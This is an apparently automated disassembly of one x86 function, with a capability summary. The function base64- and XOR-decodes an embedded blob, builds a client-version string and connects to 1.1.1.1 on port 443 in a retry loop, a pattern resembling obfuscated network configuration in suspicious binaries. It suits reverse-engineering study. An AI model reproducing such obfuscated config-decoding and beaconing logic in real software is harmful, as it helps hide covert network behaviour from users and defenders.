Function at 0x402af0
Capabilities:
Encode data using xor
Initialize winsock library
Reference cloudflare dns server

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x304
mov eax, dword [0x44e024]
xor eax, esp
mov dword [esp + 0x300], eax
push ebx
push esi
mov ebx, ecx
push edi
mov dword [esp + 0x10], ebx
call fcn.00408d20
mov dword [eax], 0x408f20
call fcn.00408d20
mov esi, ebx
mov dword [eax + 0xc], 1
lea ecx, [esi + 1]
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x402b30
sub esi, ecx
cmp esi, 0x152
ja 0x4031da
push 0xfa
lea eax, [esp + 0x20c]
push 0
push eax
call fcn.00429110
add esp, 0xc
xor edi, edi
xor ebx, ebx
test esi, esi
je 0x402c26
nop dword [eax + eax]
mov eax, dword [esp + 0x10]
mov cl, byte [edi + eax]
cmp cl, 0x3d
je 0x402c26
lea eax, [ecx - 0x2b]
cmp al, 0x4f
ja case.default.0x402ba5
movsx eax, cl
mov cl, byte [eax + 0x44bf85]
movsx edx, cl
cmp edx, 0xffffffff
je case.default.0x402ba5
mov eax, edi
and eax, 3
jmp dword [eax*4 + 0x403210]
shl cl, 2
mov byte [esp + ebx + 0x208], cl
jmp 0x402c18
shr edx, 4
lea eax, [esi - 3]
and dl, 3
add byte [esp + ebx + 0x208], dl
inc ebx
cmp edi, eax
jb 0x402bd8
mov eax, dword [esp + 0x10]
cmp byte [esi + eax - 2], 0x3d
je 0x402c18
shl cl, 4
mov byte [esp + ebx + 0x208], cl
jmp 0x402c18
shr edx, 2
lea eax, [esi - 2]
and dl, 0xf
add byte [esp + ebx + 0x208], dl
inc ebx
cmp edi, eax
jb 0x402c04
mov eax, dword [esp + 0x10]
cmp byte [esi + eax - 1], 0x3d
je 0x402c18
shl cl, 6
mov byte [esp + ebx + 0x208], cl
jmp 0x402c18
add byte [esp + ebx + 0x208], cl
inc ebx
inc edi
cmp edi, esi
jb 0x402b70
jmp 0x402c26
or ebx, 0xffffffff
cmp bl, 0xf
jb 0x4031da
mov ecx, 5
mov byte [esp + 0xf], 5
mov esi, ecx
nop dword [eax + eax]
xor edx, edx
mov eax, ecx
div esi
mov al, byte [esp + edx + 0x208]
xor al, byte [esp + ecx + 0x208]
mov dl, byte [esp + 0xf]
xor al, dl
inc dl
mov byte [esp + ecx + 0x208], al
inc ecx
mov byte [esp + 0xf], dl
cmp dl, bl
jb 0x402c40
push 0x7d0
call fcn.0042e0e2
mov esi, eax
add esp, 4
test esi, esi
je 0x402cb9
lea eax, [esi + 0x7d0]
mov dword [esp + 0x1f8], str._____________________
xor edx, edx
mov dword [esp + 0x1fc], esi
lea ecx, [esp + 0x1f8]
mov dword [esp + 0x200], eax
call fcn.00404390
test eax, eax
jne 0x402cbb
push esi
call fcn.0042d7e0
add esp, 4
xor esi, esi
mov ecx, esi
call fcn.004040a0
push esi
mov edi, eax
call fcn.0042d7e0
add esp, 4
lea eax, [esp + 0x1c8]
push 0x30
push 0
push eax
call fcn.00429110
imul eax, dword [edi], 0xb0
add esp, 0xc
push eax
call fcn.0042e0e2
add esp, 4
mov dword [esp + 0x10], eax
test eax, eax
je 0x4031da
push eax
push 0xc
lea eax, [esp + 0x1d0]
movzx ecx, bl
sub ecx, 5
lea edx, [esp + 0x215]
push eax
push ecx
mov ecx, edi
call fcn.00404a50
push dword [esp + 0x20]
mov esi, eax
call fcn.0042d7e0
add esp, 0x14
test esi, esi
jle 0x4031da
mov eax, dword [esp + 0x1d0]
mov esi, 0x95
mov ecx, dword [esp + 0x1d4]
sub ecx, eax
cmp ecx, esi
cmovg ecx, esi
push ecx
push eax
push 0x451940
call fcn.00428b90
mov eax, dword [esp + 0x1e4]
add esp, 0xc
mov ecx, dword [esp + 0x1dc]
mov edx, 9
sub ecx, eax
mov word [esp + 0x200], 0
cmp ecx, edx
xorps xmm0, xmm0
movq qword [esp + 0x1f8], xmm0
cmovg ecx, edx
push ecx
push eax
lea eax, [esp + 0x200]
push eax
call fcn.00428b90
add esp, 0xc
lea eax, [esp + 0x1f8]
push eax
call fcn.0042e0a3
mov ecx, dword [esp + 0x1e8]
add esp, 4
mov dword [0x451a70], eax
mov eax, dword [esp + 0x1e0]
sub ecx, eax
cmp ecx, esi
cmovg ecx, esi
push ecx
push eax
push 0x451888
call fcn.00428b90
mov esi, dword [esp + 0x200]
add esp, 0xc
mov edx, dword [esp + 0x1f0]
mov ebx, 0xa
mov ecx, dword [esp + 0x1ec]
sub esi, edx
mov eax, dword [esp + 0x1e8]
cmp esi, ebx
push edx
cmovg esi, ebx
sub ecx, eax
push esi
push 0x44ba0c
cmp ecx, ebx
push eax
cmovg ecx, ebx
push ecx
push str._client_version_:__.s._s._.s_
push 0x451a80
call fcn.00401050
add esp, 0x1c
test eax, eax
jle 0x4031da
push edi
call fcn.0042d7e0
add esp, 4
mov byte [0x451a6c], 0
lock inc dword [0x4519f4]
push 0xf8
call fcn.0042e0e2
mov edi, eax
add esp, 4
test edi, edi
je 0x4031ef
movsd xmm0, qword [0x44c268]
mov esi, 0x451a10
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
movsd qword [esp + 0x1f8], xmm0
push 0xf8
push 0
push edi
call fcn.00429110
add esp, 0xc
mov ecx, 1
xor eax, eax
lock cmpxchg dword [esi], ecx
test eax, eax
jne 0x402ea1
lea eax, [esp + 0x38]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [edi + 4], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [edi + 0x30], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [edi + 0x34], eax
lea eax, [edi + 0x84]
mov dword [eax], eax
mov dword [eax + 4], eax
lea eax, [edi + 0xe0]
push eax
mov dword [edi + 0x90], 0
mov dword [edi + 0x94], 0
mov dword [edi + 0x98], 0x404fb0
mov dword [edi + 0x9c], 0
mov dword [edi + 0xa0], 0
mov dword [edi + 0xa4], 0x404fb0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [esp + 0x28]
mov dword [edi + 0xcc], 0xffffffff
push eax
mov dword [edi + 0xc8], 0xffffffff
call fcn.0042e456
mov eax, dword [esp + 0x2c]
mov esi, 0x3e8
cdq
add esp, 4
mov ecx, eax
mov eax, edx
mul esi
mov esi, eax
mov eax, ecx
mov ecx, 0x3e8
mul ecx
mov ecx, eax
add esi, edx
movzx eax, word [esp + 0x30]
cdq
add ecx, eax
mov eax, dword [0x451a08]
mov dword [edi + 8], ecx
adc esi, edx
or eax, dword [0x451a0c]
mov dword [edi + 0xc], esi
jne 0x402fa0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [0x451a08], ecx
or ecx, eax
mov dword [0x451a0c], eax
jne 0x402fa0
xorps xmm0, xmm0
movlpd qword [esp + 0x18], xmm0
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
jmp 0x402fea
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
call fcn.00441b00
mov edx, dword [0x451a0c]
mov ecx, dword [0x451a08]
movsd qword [esp + 0x18], xmm0
call fcn.00441b00
movsd xmm1, qword [esp + 0x18]
divsd xmm1, xmm0
mulsd xmm1, qword [esp + 0x1f8]
movaps xmm0, xmm1
call fcn.00441a50
push dword [edi + 0x34]
or dword [edi], 2
push str.hloop_new
push str._s:_hloop_new_tid_ld_n
push 1
mov dword [edi + 0x20], eax
mov dword [edi + 0x24], edx
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], edx
call fcn.00408d20
push eax
call fcn.004088a0
add esp, 0x10
mov dword [0x451a68], edi
mov edx, str.1.1.1.1
mov ecx, edi
push 0x1000000
push 0x1bb
call fcn.00406490
mov esi, eax
add esp, 0xc
test esi, esi
je 0x40305d
mov ecx, esi
mov dword [esi + 0xb8], 0x402a40
mov dword [esi + 0xb0], 0x402860
call fcn.00406fa0
xor ecx, ecx
test eax, eax
cmovne esi, ecx
call fcn.0040ae80
test eax, eax
je 0x40307a
or dword [esi + 0x24], 0x8000
mov dword [esi + 0x28], 0x1000000
mov dword [esi + 0xfc], eax
mov esi, dword [0x451a68]
test esi, esi
je 0x403192
cmp dword [esi + 4], 1
je 0x403192
mov dword [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esi + 0x30], eax
call edi
push eax
push str.hloop_run
push str._s:_hloop_run_tid_ld_n
push 1
mov dword [esi + 0x34], eax
call fcn.00408d20
push eax
call fcn.004088a0
add esp, 0x14
cmp dword [esi + 0x3c], 0
jne 0x4030f8
lea edi, [esi + 0xe0]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esi + 0xcc], 0xffffffff
jne 0x4030eb
mov ecx, esi
call fcn.00405610
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov eax, dword [esi + 4]
test eax, eax
je 0x40313a
nop
cmp eax, 2
jne 0x403112
push 0xa
call ebx
mov ecx, esi
call fcn.00405c30
jmp 0x403133
add dword [esi + 0x28], 1
adc dword [esi + 0x2c], 0
test byte [esi], 4
je 0x403127
mov eax, dword [esi + 0x40]
cmp eax, dword [esi + 0x3c]
jbe 0x40313a
mov ecx, esi
call fcn.00405240
test byte [esi], 1
jne 0x40313a
mov eax, dword [esi + 4]
test eax, eax
jne 0x403100
mov dword [esi + 4], 0
call fcn.00409570
test byte [esi], 2
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], edx
je 0x403192
cmp dword [esi + 4], 3
je 0x403192
mov dword [esi + 4], 3
call edi
push eax
push str.hloop_free
push str._s:_hloop_free_tid_ld_n
push 1
call fcn.00408d20
push eax
call fcn.004088a0
add esp, 0x14
mov ecx, esi
call fcn.004058d0
push esi
call fcn.0042d7e0
add esp, 4
lock inc dword [0x4519f8]
cmp byte [0x451a6c], 0
mov dword [0x451a74], 0
mov dword [0x451a68], 0
jne 0x4031da
push 0x3a98
call ebx
lock inc dword [0x4519f4]
push 0xf8
call fcn.0042e0e2
mov edi, eax
add esp, 4
mov esi, 0x451a10
test edi, edi
je 0x4031ef
jmp 0x402e72
mov ecx, dword [esp + 0x30c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00427ca1
mov esp, ebp
pop ebp
ret
push str.malloc_failed__n
push 2
call fcn.0042af55
add esp, 4
push eax
call fcn.00408180
add esp, 8
push 0xffffffffffffffff
call fcn.0042ec2b
nop
lodsb al, byte [esi]
sub eax, dword [eax]
mov eax, 0xe400402b
sub eax, dword [eax]
adc byte [eax + eax*2], ch
add byte [esi + 87], dl
push esi
push edi